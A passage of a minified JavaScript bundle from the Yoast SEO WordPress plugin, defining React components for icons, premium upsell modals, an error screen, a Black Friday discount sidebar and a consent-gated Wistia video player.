`,E=function(e){return(0,t.createElement)(b,{...e,xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 646.66 456.27"},(0,t.createElement)("path",{d:"M73,405.26a68.53,68.53,0,0,1-12.82-4c-1-.42-2-.89-3-1.37-1.49-.72-3-1.56-4.77-2.56-1.5-.88-2.71-1.64-3.83-2.39-.9-.61-1.8-1.26-2.68-1.92q-2.64-2-5.08-4.19a68.26,68.26,0,0,1-8.4-9.17c-.92-1.2-1.68-2.25-2.35-3.24q-1.84-2.73-3.44-5.64a68.26,68.26,0,0,1-8.29-32.55V142.13a68.29,68.29,0,0,1,8.29-32.55,58.6,58.6,0,0,1,3.44-5.64,57.53,57.53,0,0,1,4-5.27A69.64,69.64,0,0,1,48.56,85.42,56.06,56.06,0,0,1,54.2,82,67.78,67.78,0,0,1,73,75.09,69.79,69.79,0,0,1,86.75,73.7H256.41L263,55.39H86.75A86.84,86.84,0,0,0,0,142.13V338.22A86.83,86.83,0,0,0,86.75,425H98.07V406.65H86.75A68.31,68.31,0,0,1,73,405.26ZM368.55,60.85l-1.41-.53L360.73,77.5l1.41.53a68.58,68.58,0,0,1,8.66,4,58.65,58.65,0,0,1,5.65,3.43A69.49,69.49,0,0,1,391,98.67c1.4,1.68,2.72,3.46,3.95,5.27s2.39,3.72,3.44,5.64a68.32,68.32,0,0,1,8.29,32.55V406.65H233.55l-.44.76c-3.07,5.37-6.26,10.48-9.49,15.19L222,425H425V142.13A87.19,87.19,0,0,0,368.55,60.85Z",fill:"#000001"}),(0,t.createElement)("path",{d:"M303.66,0l-96.8,268.87-47.58-149H101.1l72.72,186.78a73.61,73.61,0,0,1,0,53.73c-7.07,18.07-19.63,39.63-54.36,46l-1.56.29v49.57l2-.08c29-1.14,51.57-10.72,70.89-30.14,19.69-19.79,36.55-50.52,53-96.68L366.68,0Z",fill:"#000001"}),(0,t.createElement)("circle",{className:"yoast-icon-readability-score",cx:"561.26",cy:"142.43",r:"85.04",fill:"#000001",stroke:"#181716",strokeMiterlimit:"10",strokeWidth:"0.72"}),(0,t.createElement)("circle",{className:"yoast-icon-seo-score",cx:"561.26",cy:"341.96",r:"85.04",fill:"#000001",stroke:"#181716",strokeMiterlimit:"10",strokeWidth:"0.72"}))};E.propTypes={readabilityScoreColor:y().string,isContentAnalysisActive:y().bool,seoScoreColor:y().string,isKeywordAnalysisActive:y().bool,size:y().number,color:y().string},E.defaultProps={readabilityScoreColor:"#000000",isContentAnalysisActive:!1,seoScoreColor:"#000000",isKeywordAnalysisActive:!1,size:20,color:"#000001"};const v=E,k=window.wp.components;function _(e){return void 0===e.length?e:(0,m.flatten)(e).sort(((e,t)=>void 0===e.props.renderPriority?1:e.props.renderPriority-t.props.renderPriority))}const x=({theme:e,location:s,children:r})=>(0,t.createElement)(p.LocationProvider,{value:s},(0,t.createElement)(f.ThemeProvider,{theme:e},r));x.propTypes={theme:y().object.isRequired,location:y().oneOf(["sidebar","metabox","modal"]).isRequired,children:y().element.isRequired};const R=x,S=window.yoast.uiLibrary;y().string.isRequired;const T=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),C=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{fillRule:"evenodd",d:"M12.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),I=({learnMoreLink:e,thumbnail:s,wistiaEmbedPermission:r,upsellLink:n,isProductCopy:a,title:o,upsellLabel:c,newToText:d,bundleNote:p})=>{const{onClose:u,initialFocus:m}=(0,S.useModalContext)(),h={a:(0,t.createElement)(z,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,t.createElement)(C,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"})};return(0,t.createElement)(t.Fragment,null,(0,t.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,t.createElement)("div",{className:"yst-relative yst-w-full"},(0,t.createElement)(ve,{videoId:"vmrahpfjxp",thumbnail:s,wistiaEmbedPermission:r}),(0,t.createElement)(S.Badge,{className:"yst-absolute yst-top-0 yst-right-2 yst-mt-2 yst-ml-2",variant:"info"},"Beta")),(0,t.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,t.createElement)("span",{className:"yst-logo-icon"}),d))),(0,t.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,t.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},o),(0,t.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},a?(0,i.createInterpolateElement)((0,l.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,l.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for product titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),h):(0,i.createInterpolateElement)((0,l.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,l.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),h))),(0,t.createElement)("div",{className:"yst-w-full yst-flex yst-mt-10"},(0,t.createElement)(S.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:n,target:"_blank",ref:m},(0,t.createElement)(T,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),c,(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,l.__)("(Opens in a new browser tab)","wordpress-seo")))),p,(0,t.createElement)(S.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:u},(0,l.__)("Close","wordpress-seo"))))};I.propTypes={learnMoreLink:y().string.isRequired,upsellLink:y().string.isRequired,thumbnail:y().shape({src:y().string.isRequired,width:y().string,height:y().string}).isRequired,wistiaEmbedPermission:y().shape({value:y().bool.isRequired,status:y().string.isRequired,set:y().func.isRequired}).isRequired,title:y().string,upsellLabel:y().string,newToText:y().string,isProductCopy:y().bool,bundleNote:y().oneOfType([y().string,y().element])},I.defaultProps={title:(0,l.__)("Use AI to write your titles & meta descriptions!","wordpress-seo"),upsellLabel:(0,l.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,l.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),newToText:"Yoast SEO Premium",isProductCopy:!1,bundleNote:""};const P=({learnMoreLink:e,thumbnail:s,wistiaEmbedPermission:r,upsellLink:n,upsellLabel:a})=>{const{onClose:o,initialFocus:c}=(0,S.useModalContext)(),d={a:(0,t.createElement)(z,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,t.createElement)(C,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"}),br:(0,t.createElement)("br",null)};return(0,t.createElement)(t.Fragment,null,(0,t.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,t.createElement)("div",{className:"yst-relative yst-w-full"},(0,t.createElement)(ve,{videoId:"vun9z1dpfh",thumbnail:s,wistiaEmbedPermission:r}),(0,t.createElement)(S.Badge,{className:"yst-absolute yst-right-0 yst-mr-4 yst-text-center yst-justify-center",variant:"info",style:{top:"-8px"}},(0,l.__)("Beta","wordpress-seo-premium"))),(0,t.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,t.createElement)("span",{className:"yst-logo-icon"}),"Yoast SEO Premium"))),(0,t.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,t.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},(0,l.sprintf)(/* translators: %s: Expands to "Yoast AI" */
(0,l.__)("Optimize your SEO content with %s","wordpress-seo"),"Yoast AI")),(0,t.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},(0,i.createInterpolateElement)((0,l.sprintf)(/* translators: %1$s is a break tag; %2$s and %3$s are anchor tags; %4$s is the arrow icon. */
(0,l.__)("Make content editing a breeze! Optimize your SEO content with quick, actionable suggestions at the click of a button.%1$s%2$sLearn more%3$s%4$s","wordpress-seo"),"<br/>","<a>","<ArrowNarrowRightIcon />","</a>"),d))),(0,t.createElement)("div",{className:"yst-w-full yst-flex yst-mt-6"},(0,t.createElement)(S.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:n,target:"_blank",ref:c},(0,t.createElement)(T,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),a,(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,l.__)("(Opens in a new browser tab)","wordpress-seo")))),(0,t.createElement)(S.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:o},(0,l.__)("Close","wordpress-seo"))))};P.propTypes={learnMoreLink:y().string.isRequired,upsellLink:y().string.isRequired,thumbnail:y().shape({src:y().string.isRequired,width:y().string,height:y().string}).isRequired,wistiaEmbedPermission:y().shape({value:y().bool.isRequired,status:y().string.isRequired,set:y().func.isRequired}).isRequired,upsellLabel:y().string},P.defaultProps={upsellLabel:(0,l.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,l.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium")};const L=({handleRefreshClick:e,supportLink:s})=>(0,t.createElement)("div",{className:"yst-flex yst-gap-2"},(0,t.createElement)(S.Button,{onClick:e},(0,l.__)("Refresh this page","wordpress-seo")),(0,t.createElement)(S.Button,{variant:"secondary",as:"a",href:s,target:"_blank",rel:"noopener"},(0,l.__)("Contact support","wordpress-seo")));L.propTypes={handleRefreshClick:y().func.isRequired,supportLink:y().string.isRequired};const A=({handleRefreshClick:e,supportLink:s})=>(0,t.createElement)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-y-2"},(0,t.createElement)(S.Button,{className:"yst-order-last",onClick:e},(0,l.__)("Refresh this page","wordpress-seo")),(0,t.createElement)(S.Button,{variant:"secondary",as:"a",href:s,target:"_blank",rel:"noopener"},(0,l.__)("Contact support","wordpress-seo")));A.propTypes={handleRefreshClick:y().func.isRequired,supportLink:y().string.isRequired};const F=({error:e,children:s})=>(0,t.createElement)("div",{role:"alert",className:"yst-max-w-screen-sm yst-p-8 yst-space-y-4"},(0,t.createElement)(S.Title,null,(0,l.__)("Something went wrong. An unexpected error occurred.","wordpress-seo")),(0,t.createElement)("p",null,(0,l.__)("We're very sorry, but it seems like the following error has interrupted our application:","wordpress-seo")),(0,t.createElement)(S.Alert,{variant:"error"},(null==e?void 0:e.message)||(0,l.__)("Undefined error message.","wordpress-seo")),(0,t.createElement)("p",null,(0,l.__)("Unfortunately, this means that any unsaved changes in this section will be lost. You can try and refresh this page to resolve the problem. If this error still occurs, please get in touch with our support team, and we'll get you all the help you need!","wordpress-seo")),s);F.propTypes={error:y().object.isRequired,children:y().node},F.VerticalButtons=A,F.HorizontalButtons=L;var O;function N(){return N=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},N.apply(this,arguments)}y().string,y().node.isRequired,y().node.isRequired,y().node,y().oneOf(Object.keys({lg:{grid:"yst-grid lg:yst-grid-cols-3 lg:yst-gap-12",col1:"yst-col-span-1",col2:"lg:yst-mt-0 lg:yst-col-span-2"},xl:{grid:"yst-grid xl:yst-grid-cols-3 xl:yst-gap-12",col1:"yst-col-span-1",col2:"xl:yst-mt-0 xl:yst-col-span-2"},"2xl":{grid:"yst-grid 2xl:yst-grid-cols-3 2xl:yst-gap-12",col1:"yst-col-span-1",col2:"2xl:yst-mt-0 2xl:yst-col-span-2"}}));const q=e=>t.createElement("svg",N({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 1000 1000"},e),O||(O=t.createElement("path",{fill:"#fff",d:"M500 0C223.9 0 0 223.9 0 500s223.9 500 500 500 500-223.9 500-500S776.1 0 500 0Zm87.2 412.4c0-21.9 4.3-40.2 13.1-54.4s24-27.1 45.9-38.2l10.1-4.9c17.8-9 22.4-16.7 22.4-26 0-11.1-9.5-19.1-25-19.1-18.3 0-32.2 9.5-41.8 28.9l-24.7-24.8c5.4-11.6 14.1-20.9 25.8-28.1a70.8 70.8 0 0 1 38.9-11.1c17.8 0 33.3 4.6 45.9 14.2s19.4 22.7 19.4 39.4c0 26.6-15 42.9-43.1 57.3l-15.7 8c-16.8 8.5-25.1 16-27.4 29.4h85.4v35.4H587.2Zm-82.1 373.3c-157.8 0-285.7-127.9-285.7-285.7s127.9-285.7 285.7-285.7a286.4 286.4 0 0 1 55.9 5.5l-55.9 116.9c-90 0-163.3 73.3-163.3 163.3s73.3 163.3 163.3 163.3a162.8 162.8 0 0 0 106.4-39.6l61.8 107.2a283.9 283.9 0 0 1-168.2 54.8ZM705 704.1l-70.7-122.5H492.9l70.7-122.4H705l70.7 122.4Z"}))),M=window.ReactDOM;var D,$,B;($=D||(D={})).Pop="POP",$.Push="PUSH",$.Replace="REPLACE",function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(B||(B={})),new Set(["lazy","caseSensitive","path","id","index","children"]),Error;const U=["post","put","patch","delete"],W=(new Set(U),["get",...U]);new Set(W),new Set([301,302,303,307,308]),new Set([307,308]),Symbol("deferred"),t.Component,t.startTransition,new Promise((()=>{})),t.Component,new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);try{window.__reactRouterVersion="6"}catch(e){}var j,K,H,V;new Map,t.startTransition,M.flushSync,t.useId,"undefined"!=typeof window&&void 0!==window.document&&window.document.createElement,(V=j||(j={})).UseScrollRestoration="useScrollRestoration",V.UseSubmit="useSubmit",V.UseSubmitFetcher="useSubmitFetcher",V.UseFetcher="useFetcher",V.useViewTransitionState="useViewTransitionState",(H=K||(K={})).UseFetcher="useFetcher",H.UseFetchers="useFetchers",H.UseScrollRestoration="useScrollRestoration",y().string.isRequired,y().string;const z=({href:e,children:s,...r})=>(0,t.createElement)(S.Link,{target:"_blank",rel:"noopener noreferrer",...r,href:e},s,(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,l.__)("(Opens in a new browser tab)","wordpress-seo")));z.propTypes={href:y().string.isRequired,children:y().node},z.defaultProps={children:null};const Y=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))}));var G,Z,X;function Q(){return Q=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Q.apply(this,arguments)}const J=e=>t.createElement("svg",Q({xmlns:"http://www.w3.org/2000/svg",id:"star-rating-half_svg__Layer_1","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),G||(G=t.createElement("defs",null,t.createElement("style",null,".star-rating-half_svg__cls-1{fill:#fbbf24}"))),Z||(Z=t.createElement("path",{d:"M250 392.04 98.15 471.87l29-169.09L4.3 183.03l169.77-24.67L250 4.52l75.93 153.84 169.77 24.67-122.85 119.75 29 169.09L250 392.04z",className:"star-rating-half_svg__cls-1"})),X||(X=t.createElement("path",{d:"m250 9.04 73.67 149.27.93 1.88 2.08.3 164.72 23.94-119.19 116.19-1.51 1.47.36 2.07 28.14 164.06-147.34-77.46-1.86-1-1.86 1-147.34 77.46 28.14-164.06.36-2.07-1.51-1.47L8.6 184.43l164.72-23.9 2.08-.3.93-1.88L250 9.04m0-9-77.25 156.49L0 181.64l125 121.89-29.51 172L250 394.3l154.51 81.23-29.51-172 125-121.89-172.75-25.11L250 0Z",className:"star-rating-half_svg__cls-1"})),t.createElement("path",{d:"m500 181.64-172.75-25.11L250 0v394.3l154.51 81.23L375 303.48l125-121.84z",style:{fill:"#f3f4f6"}}));function ee(){return ee=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},ee.apply(this,arguments)}const te=e=>t.createElement("svg",ee({xmlns:"http://www.w3.org/2000/svg","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),t.createElement("path",{d:"m250 0 77.25 156.53L500 181.64 375 303.48l29.51 172.05L250 394.3 95.49 475.53 125 303.48 0 181.64l172.75-25.11L250 0z",style:{fill:"#fbbf24"}}));var se,re,ne,ae,oe,ie,le,ce,de;function pe(){return pe=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},pe.apply(this,arguments)}const ue=e=>t.createElement("svg",pe({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 500 500"},e),se||(se=t.createElement("path",{fill:"#a4286a",d:"M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"})),re||(re=t.createElement("path",{fill:"#6c2548",d:"M437.61 2 155.89 500H500V80a80 80 0 0 0-62.39-78z"})),ne||(ne=t.createElement("path",{fill:"#fff",d:"M74.4 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L140.3 236l-37-116.2h-41l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z"})),ae||(ae=t.createElement("circle",{cx:368.33,cy:124.68,r:97.34,fill:"#9fda4f",transform:"rotate(-45 368.335 124.68)"})),oe||(oe=t.createElement("path",{fill:"#77b227",d:"m416.2 39.93-95.74 169.51A97.34 97.34 0 1 0 416.2 39.93z"})),ie||(ie=t.createElement("path",{fill:"#fec228",d:"m294.78 254.75-.15-.08-.13-.07a63.6 63.6 0 0 0-62.56 110.76h.13a63.6 63.6 0 0 0 62.71-110.67z"})),le||(le=t.createElement("path",{fill:"#f49a00",d:"m294.5 254.59-62.56 110.76a63.6 63.6 0 1 0 62.56-110.76z"})),ce||(ce=t.createElement("path",{fill:"#ff4e47",d:"M222.31 450.07A38.16 38.16 0 0 0 203 416.83a38.18 38.18 0 1 0 19.41 33.27z"})),de||(de=t.createElement("path",{fill:"#ed261f",d:"m202.9 416.8-37.54 66.48a38.17 38.17 0 0 0 37.54-66.48z"}))),me=({link:e,linkProps:s,isPromotionActive:r})=>{let n=(0,i.useMemo)((()=>(0,l.__)("Use AI to generate titles and meta descriptions, automatically redirect deleted pages, get 24/7 support, and much, much more!","wordpress-seo")),[]),a=(0,i.createInterpolateElement)((0,l.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,l.__)("%1$sGet%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,t.createElement)("span",{className:"yst-whitespace-nowrap"})});const o=r("black-friday-2024-promotion");return o&&(n=(0,i.useMemo)((()=>(0,l.__)("If you were thinking about upgrading, now's the time! 30% OFF ends 3rd Dec 11am (CET)","wordpress-seo")),[]),a=(0,i.createInterpolateElement)((0,l.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,l.__)("%1$sBuy%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,t.createElement)("span",{className:"yst-whitespace-nowrap"})})),(0,t.createElement)("div",{className:"yst-p-6 yst-rounded-lg yst-text-white yst-bg-primary-500 yst-shadow"},(0,t.createElement)("figure",{className:"yst-logo-square yst-w-16 yst-h-16 yst-mx-auto yst-overflow-hidden yst-border yst-border-white yst-rounded-xl yst-rounded-br-none yst-relative yst-z-10 yst-mt-[-2.6rem]"},(0,t.createElement)(ue,null)),o&&(0,t.createElement)("div",{className:"sidebar__sale_banner_container"},(0,t.createElement)("div",{className:"sidebar__sale_banner"},(0,t.createElement)("span",{className:"banner_text"},(0,l.__)("30% OFF - BLACK FRIDAY","wordpress-seo")))),(0,t.createElement)(S.Title,{as:"h2",className:"yst-mt-6 yst-text-base yst-font-extrabold yst-text-white"},a),(0,t.createElement)("p",{className:"yst-mt-2"},n),(0,t.createElement)(S.Button,{as:"a",variant:"upsell",href:e,target:"_blank",rel:"noopener",className:"yst-flex yst-justify-center yst-gap-2 yst-mt-4 focus:yst-ring-offset-primary-500",...s},(0,t.createElement)("span",null,o?(0,l.__)("Buy now","wordpress-seo"):a),(0,t.createElement)(Y,{className:"yst-w-4 yst-h-4 yst-icon-rtl"})),(0,t.createElement)("p",{className:"yst-text-center yst-text-xs yst-mx-2 yst-font-light yst-leading-5 yst-mt-2"},!o&&(0,t.createElement)(t.Fragment,null,(0,l.__)("Only $/€/£99 per year (ex VAT)","wordpress-seo"),(0,t.createElement)("br",null)),(0,l.__)("30-day money back guarantee.","wordpress-seo")),(0,t.createElement)("hr",{className:"yst-border-t yst-border-primary-300 yst-my-4"}),(0,t.createElement)("a",{className:"yst-block yst-mt-4 yst-no-underline",href:"https://www.g2.com/products/yoast-yoast/reviews",target:"_blank",rel:"noopener noreferrer"},(0,t.createElement)("span",{className:"yst-font-medium yst-text-white hover:yst-underline"},(0,l.__)("Read reviews from real users","wordpress-seo")),(0,t.createElement)("span",{className:"yst-flex yst-gap-2 yst-mt-2 yst-items-center"},(0,t.createElement)(q,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)("span",{className:"yst-flex yst-gap-1"},(0,t.createElement)(te,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(te,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(te,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(te,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(J,{className:"yst-w-5 yst-h-5"})),(0,t.createElement)("span",{className:"yst-text-sm yst-font-semibold yst-text-white"},"4.6 / 5"))))};me.propTypes={link:y().string.isRequired,linkProps:y().object,isPromotionActive:y().func},me.defaultProps={linkProps:{},isPromotionActive:m.noop};const he=()=>[(0,l.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,l.__)("%1$sAI%2$s: Better SEO titles and meta descriptions, faster.","wordpress-seo"),"<strong>","</strong>"),(0,l.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,l.__)("%1$sMultiple keywords%2$s: Rank higher for more searches.","wordpress-seo"),"<strong>","</strong>"),(0,l.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,l.__)("%1$sSuper fast%2$s internal linking suggestions.","wordpress-seo"),"<strong>","</strong>"),(0,l.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,l.__)("%1$sNo more broken links%2$s: Automatic redirect manager.","wordpress-seo"),"<strong>","</strong>"),(0,l.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,l.__)("%1$sAppealing social previews%2$s people actually want to click on.","wordpress-seo"),"<strong>","</strong>"),(0,l.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,l.__)("%1$s24/7 support%2$s: Also on evenings and weekends.","wordpress-seo"),"<strong>","</strong>")],ge=({premiumLink:e,premiumUpsellConfig:s,isPromotionActive:r})=>{const n=r("black-friday-2024-promotion");return(0,t.createElement)(S.Paper,{as:"div",className:"xl:yst-max-w-3xl"},n&&(0,t.createElement)("div",{className:"yst-rounded-t-lg yst-h-9 yst-flex yst-justify-between yst-items-center yst-bg-black yst-text-amber-300 yst-px-4 yst-text-lg yst-border-b yst-border-amber-300 yst-border-solid yst-font-semibold"},(0,t.createElement)("div",null,(0,l.__)("30% OFF","wordpress-seo")),(0,t.createElement)("div",null,(0,l.__)("BLACK FRIDAY","wordpress-seo"))),(0,t.createElement)("div",{className:"yst-p-6 yst-flex yst-flex-col"},(0,t.createElement)(S.Title,{as:"h2",size:"4",className:"yst-text-xl yst-text-primary-500"},(0,l.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,l.__)("Upgrade to %s","wordpress-seo"),"Yoast SEO Premium")),(0,t.createElement)("ul",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 yst-gap-x-6 yst-list-disc yst-pl-[1em] yst-list-outside yst-text-slate-800 yst-mt-6"},he().map(((e,s)=>(0,t.createElement)("li",{key:`upsell-benefit-${s}`},(0,i.createInterpolateElement)(e,{strong:(0,t.createElement)("span",{className:"yst-font-semibold"})}))))),(0,t.createElement)(S.Button,{as:"a",variant:"upsell",size:"extra-large",href:e,className:"yst-gap-2 yst-mt-4",target:"_blank",rel:"noopener",...s},n?(0,l.__)("Claim your 30% off now!","wordpress-seo"):(0,l.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,l.__)("Explore %s now!","wordpress-seo"),"Yoast SEO Premium"),(0,t.createElement)(Y,{className:"yst-w-4 yst-h-4 yst-icon-rtl"}))))};ge.propTypes={premiumLink:y().string.isRequired,premiumUpsellConfig:y().object,isPromotionActive:y().func},ge.defaultProps={premiumUpsellConfig:{},isPromotionActive:m.noop},y().string.isRequired,y().object.isRequired,y().string.isRequired,y().func.isRequired,t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}))})),y().bool.isRequired,y().func,y().func,y().string.isRequired,y().string.isRequired,y().string.isRequired,y().string.isRequired;const ye=window.yoast.reactHelmet,fe="loading",we="showPlay",be="askPermission",Ee="isPlaying",ve=({videoId:e,thumbnail:s,wistiaEmbedPermission:r})=>{const[n,a]=(0,i.useState)(r.value?Ee:we),o=(0,i.useCallback)((()=>a(Ee)),[a]),c=(0,i.useCallback)((()=>{r.value?o():a(be)}),[r.value,o,a]),d=(0,i.useCallback)((()=>a(we)),[a]),p=(0,i.useCallback)((()=>{r.set(!0),o()}),[r.set,o]);return(0,t.createElement)(t.Fragment,null,r.value&&(0,t.createElement)(ye.Helmet,null,(0,t.createElement)("script",{src:"https://fast.wistia.com/assets/external/E-v1.js",async:!0})),(0,t.createElement)("div",{className:"yst-relative yst-w-full yst-h-0 yst-pt-[56.25%] yst-overflow-hidden yst-rounded-md yst-drop-shadow-md yst-bg-white"},n===we&&(0,t.createElement)("button",{type:"button",className:"yst-absolute yst-inset-0 yst-button yst-p-0 yst-border-none yst-bg-white yst-transition-opacity yst-duration-1000 yst-opacity-100",onClick:c},(0,t.createElement)("img",{className:"yst-w-full yst-h-auto",alt:"",loading:"lazy",decoding:"async",...s})),n===be&&(0,t.createElement)("div",{className:"yst-absolute yst-inset-0 yst-flex yst-flex-col yst-items-center yst-justify-center yst-bg-white"},(0,t.createElement)("p",{className:"yst-max-w-xs yst-mx-auto yst-text-center"},r.status===fe&&(0,t.createElement)(S.Spinner,null),r.status!==fe&&(0,l.sprintf)(/* translators: %1$s expands to Yoast SEO. %2$s expands to Wistia. */
